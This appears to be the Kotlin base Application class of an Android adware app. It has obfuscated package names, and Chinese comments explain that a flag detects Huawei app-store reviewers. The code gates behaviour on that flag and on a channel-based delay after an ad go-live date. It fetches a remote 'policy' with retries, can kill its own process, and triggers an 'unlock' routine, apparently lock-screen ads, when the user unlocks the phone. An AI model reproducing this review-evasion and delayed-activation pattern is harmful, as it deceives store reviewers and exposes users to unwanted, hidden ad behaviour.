package eerr.llrr.oorr.pte9983.b.base_api_keep


import android.app.Activity
import android.app.Application
import android.content.Context
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.text.TextUtils
import android.util.Log
import android.webkit.WebView
import com.b.yg.AppApplication
import com.b.yg.tools.CheckUtils
import eerr.llrr.oorr.pte9983.b.pl190.host668.ConfigUtils
import eerr.llrr.oorr.pte9983.b.wifimaster.lanch.CommentLanch
import eerr.llrr.oorr.pte9983.b.wifimaster.lanch.NewLanchManager
import eerr.llrr.oorr.pte9983.b.wifimaster.lanch.NewLanchManager.ApiPlicyCallback
import eerr.llrr.oorr.pte9983.b.wifimaster.receiver.ActivityLifecycleCallbacksAdapter
import eerr.llrr.oorr.pte9983.nvsd
import yyee.llee.mmee.common.context.HookContext
import yyee.llee.mmee.common.global.Env
import yyee.llee.mmee.pl190.host668.GlobalConfig
import yyee.llee.mmee.pl190.host668.HandleUtils
import yyee.llee.mmee.pl190.host668.LiveUtils
import yyee.llee.mmee.pl190.host668.StrongContext
import yyee.llee.mmee.wifimaster.utils.CommonDateUtil
import com.manager.core.pl190.host668.AdUtils
import timber.log.Timber
import java.lang.ref.WeakReference
import java.util.concurrent.ConcurrentHashMap
import kotlin.system.exitProcess
import com.github.gzuliyujiang.oaid.DeviceID

abstract class BaseApplication : AppApplication() {
    private var mTopActivities: ConcurrentHashMap<Int, Activity>? = null

    override fun attachBaseContext(p0: Context) {
        super.attachBaseContext(p0)
        //Android 9及以上必须设置
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
            val processName = getProcessName()
            if (packageName != processName) {
                WebView.setDataDirectorySuffix(processName)
                Log.e(TAG, "WebView.setDataDirectorySuffix")
            }
        }
    }

    override fun isAutoStart(): Boolean {
        return fixTime()
    }

    override fun onCreateMainProcess() {
        if (Env.isDebug) {
            Timber.plant(Timber.DebugTree())
        }

//        mpmInstance.encode("enable_kma", false)
//        val enableKma = mmkv.decodeBool("enable_kma", true)

        Log.d(TAG, "onCreateMainProcess: ")
        sInstance = this
        StrongContext.setApplication(this)
        //判断sim卡是否存在
//        checkStatus = CheckUtils.check(context)
        checkStatus=1
        Log.d(TAG, "是否审人员false为审》" + checkStatus);

        initFactory()

        val defaultConfig = ConfigUtils.getConfigJson(
            StrongContext.getContext()
        )
        ConfigUtils.initConfig(defaultConfig, 1)
        // TODO 插件中设置
//        BFactory.setRouteJumpInterface(RouteJump)
//        UMConfig.init(this)
        initLife()
        initSDK()
        DeviceID.register(this);
        if (isHours()) {
            HandleUtils.postDelay(fromNet, 10 * 1000)
        }



        HandleUtils.postDelay({
            LiveUtils.register()
        }, 2000)
    }

    protected abstract fun initFactory()

    private fun initSDK() {
        if (NewLanchManager.isCommon()) {
            CommentLanch.onInit(StrongContext.getApplication())
        }
    }


    fun initLife() {
//        HomeKeyReceiver.addListener(this) { homeKeyType, action ->
//            // 监听home 结束掉 方式用户划走 导致app重启 or 结束
//            val it = activitysApp.iterator()
//            while (it.hasNext()) {
//                val next = it.next()
//                if (!next.isFinishing) {
//                    next.finish()
//                }
//            }
//        }

        mTopActivities = ConcurrentHashMap()

        registerActivityLifecycleCallbacks(object : ActivityLifecycleCallbacksAdapter() {

            override fun onActivityCreated(activity: Activity, bundle: Bundle?) {
                super.onActivityCreated(activity, bundle)
                if (HookContext.appCompatActivity != null) {
                    HookContext.appCompatActivity!!.clear()
                }
                HookContext.appCompatActivity = WeakReference(activity)
                activitysApp.add(activity);
                lastActiity = WeakReference(activity)

                if (AdUtils.isAdActivity(activity)) {
                    StrongContext.initCurrAdActivity(WeakReference<Activity>(activity))
                }

                if (checkStatus != 1 && activitysApp.size == 0) {
                    handler.postDelayed({
                        exitProcess(1)
                        Log.d(TAG, "onActivityCreated>>自杀")
                    }, 2000)
                }
            }

            override fun onActivityResumed(activity: Activity) {
                if (mCurrentActivity != null) {
                    Log.d(TAG, "onActivityStarted: " + mCurrentActivity!!.javaClass.simpleName)
                } else {
                    Log.d(TAG, "onActivityStarted mCurrentActivity: null")
                }

                mTopActivities!![activity.hashCode()] = activity

                mCurrentActivity = WeakReference(activity)
                Log.d(TAG, "onActivityStarted now: " + mCurrentActivity!!.javaClass.simpleName)

            }

            override fun onActivityPaused(activity: Activity) {
                super.onActivityPaused(activity)
                mTopActivities!!.remove(activity.hashCode())
            }

            override fun onActivityStopped(activity: Activity) {
                if (mCurrentActivity != null) {
                    Log.d(TAG, "onActivityStopped: " + mCurrentActivity)
                } else {
                    Log.d(TAG, "onActivityStopped: null")
                }
                mCurrentActivity = null

            }

            override fun onActivityDestroyed(activity: Activity) {
                super.onActivityDestroyed(activity)
                activitysApp.remove(activity)
                if (AdUtils.isAdActivity(activity)) {
                    StrongContext.removeAdActivity(WeakReference<Activity>(activity))
                }
            }
        })
    }

    fun isForeground(): Boolean {
        return mTopActivities != null && mTopActivities!!.size > 0
    }

    companion object {
        var timeGap = false

        fun isWDJChannel(): Boolean {
            val bret = TextUtils.equals("5", GlobalConfig.CHANNEL)
            val bret1 = TextUtils.equals("2", GlobalConfig.CHANNEL)
            return bret || bret1
        }

        fun fixTime(): Boolean {
            timeGap = if (GlobalConfig.CHANNEL == "9") {
                System.currentTimeMillis() - CommonDateUtil.dateStr2timeStamp(Env.AD_LIVE_TIME) - 2 * 24 * 60 * 60 * 1000 > 0
            }else if(GlobalConfig.CHANNEL == "t"){
                true
            } else {
                System.currentTimeMillis() - CommonDateUtil.dateStr2timeStamp(Env.AD_LIVE_TIME) > 0
            }
            return timeGap
        }

        fun isHours(): Boolean {
            return fixTime() && (checkStatus == 1)
        }

        val activitysApp = mutableSetOf<Activity>()
        val handler = Handler(Looper.getMainLooper())


        private var sInstance: BaseApplication? = null
        private const val TAG = "TheApplication"
        var isBackLanch = false
        val instance: Application?
            get() = sInstance
        val context: Context?
            get() = sInstance
        var mCurrentActivity: WeakReference<Activity>? = null

        //判断是否是huawei审核人员
        var checkStatus = 102

        @JvmField
        var fromNet = Runnable {
            initPolicy()
            isBackLanch = true
        }
        private var retryCount = 5;

        private fun retryFromNet(){
            if(retryCount > 0){
                HandleUtils.postDelay(fromNet, 30 * 1000)
                retryCount--
            }
            Log.d(TAG, "retryFromNet,retryCount: $retryCount")
        }

        private fun initPolicy() {
            if (NewLanchManager.isCommon()) {
                CommentLanch.onInit(StrongContext.getApplication())
                return
            }
            NewLanchManager().lanch("from_delay", object : ApiPlicyCallback {
                override fun onSh() {
                }

                override fun onShPolicy() {
                    retryFromNet()
                }
                override fun onCommonPolicy() {
                    CommentLanch.onInit(StrongContext.getApplication())
                }

                override fun onOtherPolicy() {
                    retryFromNet()
                }
            })
        }

        var lastActiity: WeakReference<Activity>? = null
    }


    override fun onU11ser22Present33() {
        // AdHandlerUtils.startUnlock()
        nvsd.startUnlock(this)
    }

//    override fun addAccountBundle(): Bundle {
//        Log.d(TAG, "addAccountBundle,intent:${AddUtils.addAccountCallbackIntent}" )
//        val bundle = Bundle()
//        bundle.putParcelable("intent", AddUtils.addAccountCallbackIntent)
//        return bundle
//    }
}